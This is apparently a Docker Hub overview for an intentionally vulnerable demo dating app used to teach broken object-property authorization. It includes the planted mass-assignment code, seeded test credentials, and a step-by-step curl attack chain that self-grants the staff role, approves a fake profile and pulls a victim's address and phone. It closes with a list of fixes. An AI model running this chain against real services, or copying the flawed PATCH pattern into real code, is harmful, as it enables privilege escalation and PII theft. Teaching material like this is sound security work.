Sign inSign up

brightsec/dating-app

By brightsec

•Updated 9 days ago

Image
0

95

brightsec/dating-app repository overview

⁠Lovebird — Demo Vulnerable Dating Site

Intentionally vulnerable demo app for teaching BOPLA (Broken Object Property Level Authorization) chained into a full business-logic privilege-escalation / PII-harvesting attack.

⚠️ Demo only. Weak secrets, no HTTPS, no rate limiting, JSON-file "DB". Never deploy as-is.

⁠Run it

⁠Locally
npm install
npm start
# http://localhost:3000
⁠With Docker
docker compose up --build
# http://localhost:3000

Or plain Docker, no compose:

docker build -t lovebird-demo .
docker run -d -p 3000:3000 -v lovebird-data:/app/data --name lovebird-demo lovebird-demo

The data/ folder (JSON "DB") is a volume — it persists across container restarts and re-seeds automatically if missing. To reset the demo to its original seeded state: docker compose down -v (or docker volume rm lovebird-data) then start again.

Data lives in data/db.json, re-seeded automatically if deleted:

  • [email protected] / StaffPass123! — real staff account. Staff review signups; they don't date, and they're excluded from Browse/Messages entirely — by design, not just because the UI hides a button.
  • [email protected], [email protected], [email protected] / password123 — pre-approved daters
  • [email protected] / password123 — signed up but not yet approved; log in as Tom to see the pending-approval flow (fill profile, but can't browse/message until staff approves)
  • [email protected] / password123 — pre-approved demo victim: she's the one who will message the attacker's fake profile and leak her real PII (address, phone) in the chain below
  • [email protected], [email protected] / password123 — signed up, not yet approved (so they're invisible on Browse but already have full PII saved: address, phone)

⁠The app, briefly

  • Browse: approved daters only, card UI, click 💬 Message on a profile to message them inline — no userId ever shown or typed.
  • My Profile: a normal-looking form (name/age/gender/bio/picture/ address/phone) with a status badge (Pending / Approved). No raw JSON anywhere in the UI — same as any real product would look.
  • Staff Dashboard: only visible in the nav if your account is staff. Lists all members with their status (pending / approved / rejected / banned) and submitted details (name, age, gender, bio, address, phone, email), with Approve / Reject / Ban / Unban buttons.

⁠API docs (Swagger)

Interactive Swagger UI and the raw OpenAPI spec are served from the app, using a relative server URL so they work on any host (localhost or a deployed domain):

  • Swagger UI: /api/v1/swagger
  • Raw spec (OpenAPI 3): /api/v1/swagger.json

Every path is documented — auth, profile, messaging and all staff actions (approve / reject / ban / unban) — with sane example/default values so "Try it out" works out of the box.

⁠The vulnerability

Normal business rule: you can register and fill in your profile right away, but you can't browse other members or send/receive messages until staff approves your profile (requireApproved middleware on routes/profiles.js and routes/messages.js). Staff are a separate role: they don't date, so a staff account can never be approved into the dating pool. That invariant is enforced in two places — routes/staff.js refuses to approve any staff account, and PATCH /api/users/me forces approved back to false the moment an account is escalated to staff (even if it was an already-approved dater before).

The bug: PATCH /api/users/me merges the request body into the user record without checking whether the caller may set each property (routes/users.js). Protected fields (id/email/password and the moderation flags approved/rejected) are stripped, but the privilege flag staff is not:

const { id, email, password, approved, rejected, createdAt, ...patch } = req.body;
Object.assign(user, patch);        // `staff` still flows through — the planted bug
if (user.staff) user.approved = false;  // staff can never be an approved dater

So a client can PATCH { "staff": true } and self-promote to staff. They cannot self-approve this way (approved is stripped, and escalating to staff actively clears it), and a staff member cannot approve/reject their own account either — so the only way to end up with a visible, approved profile is to hold a second, non-staff account and approve that one. That's the whole attack: one account becomes staff, a different account gets approved by it.

GET /api/users/me happily shows the user their own staff and approved flags in the API response (just not rendered anywhere in the UI — you'd have to notice it in devtools/Burp, same as a real pentest).

The staff API (routes/staff.js) is gated only by requireStaff (a staff===true role check) — not by network/IP, and not by approved either. The underlying assumption ("only the dashboard needs protecting") doesn't hold once a normal user can grant themselves the staff role directly through the profile PATCH endpoint. And once they have it, the app hands them a full UI dashboard for it — same as any legitimate staff member would get, because the server can't tell the difference.

⁠Full attack chain

The attack needs two accounts: one that becomes staff, and a second, non-staff profile that the first one approves (you can't approve your own account, and a staff account can't be approved at all). The app's own UI never exposes an "admin"/"staff" field to edit — that's the point. An attacker finds it by inspecting the GET /api/users/me response (e.g. in the Network tab) and then crafts the PATCH manually, via curl or the browser console. Steps 1–4 below show that part with curl; everything after step 6 can be done in the browser UI.

BASE=http://localhost:3000

# 1. Register the MAIN account
curl -s -c attacker.jar -X POST $BASE/api/auth/register -H 'Content-Type: application/json' \
  -d '{"name":"Attacker","email":"[email protected]","password":"pass1234"}'

# 2. See your own record — note "staff": false, "approved": false
curl -s -b attacker.jar $BASE/api/users/me

# 3. BOPLA: PATCH the MAIN account into staff. staff is the ONLY privilege
#    the mass-assignment leaks: adding "approved": true here is ignored
#    (stripped), and because the account is now staff, approved is forced
#    to false anyway — staff can never be an approved dater.
curl -s -b attacker.jar -X PATCH $BASE/api/users/me -H 'Content-Type: application/json' \
  -d '{"staff": true}'

# 4. Log in as [email protected] in the browser now — the nav bar shows
#    a "Staff Dashboard" tab with pending signups (name, address, phone,
#    email) and Approve/Reject buttons, exactly like a real staff member
#    would see. Browse/Messages are gone from the nav — staff can't date.

# 5. Register a SECONDARY account — the fake dating profile (normal
#    registration, in the UI or via curl). This is the account that will
#    actually appear on Browse.
curl -s -c fake.jar -X POST $BASE/api/auth/register -H 'Content-Type: application/json' \
  -d '{"name":"Fake Hottie","email":"[email protected]","password":"pass1234"}'

# 6. Approve the SECONDARY profile from the MAIN (staff) session — this
#    works because it's a *different*, non-staff account. (Approving your
#    own account, or any staff account, is rejected.) Click Approve on the
#    Staff Dashboard, or via curl:
curl -s -b attacker.jar -X POST $BASE/api/staff/users/<fakeId>/approve

# 7. Fake profile is now live on Browse for real, approved users.

# 8. A real approved user — Tamar, our demo victim — logs in and clicks
#    💬 Message on the fake profile from Browse. No ID ever touched.
#    -> the message carries Tamar's real userId as fromUserId

# 9. Attacker opens Messages while logged in as the fake profile, reads
#    Tamar's userId off the conversation, then pulls her FULL PII
#    (address, phone, email) via the staff "approval" endpoint — which
#    works on ANY userId, approved or not:
curl -s -b attacker.jar $BASE/api/staff/users/<tamarUserId>

Impact: self-granted staff role → a full, legitimate-looking dashboard to approve fake/scam profiles (or sell approvals) → harvest real users' PII (home address, phone) just from their userId leaking in message metadata.

⁠The fix (not applied here — this is the vulnerable version)

  • Whitelist editable fields in PATCH /api/users/me (name, age, gender, bio, pictureUrl, address, phone) and never let a client set staff or approved directly.
  • Treat staff as a server-assigned, immutable-by-client field.
  • Don't expose full PII (address/phone) through the "approval" staff endpoint when only identity-review fields are needed — or require a second factor (network restriction, 2FA, audit log) for sensitive staff reads regardless of role.

Tag summary

Content type

Image

Digest

sha256:368c4cdea…

Size

67 MB

Last updated

9 days ago

docker pull brightsec/dating-app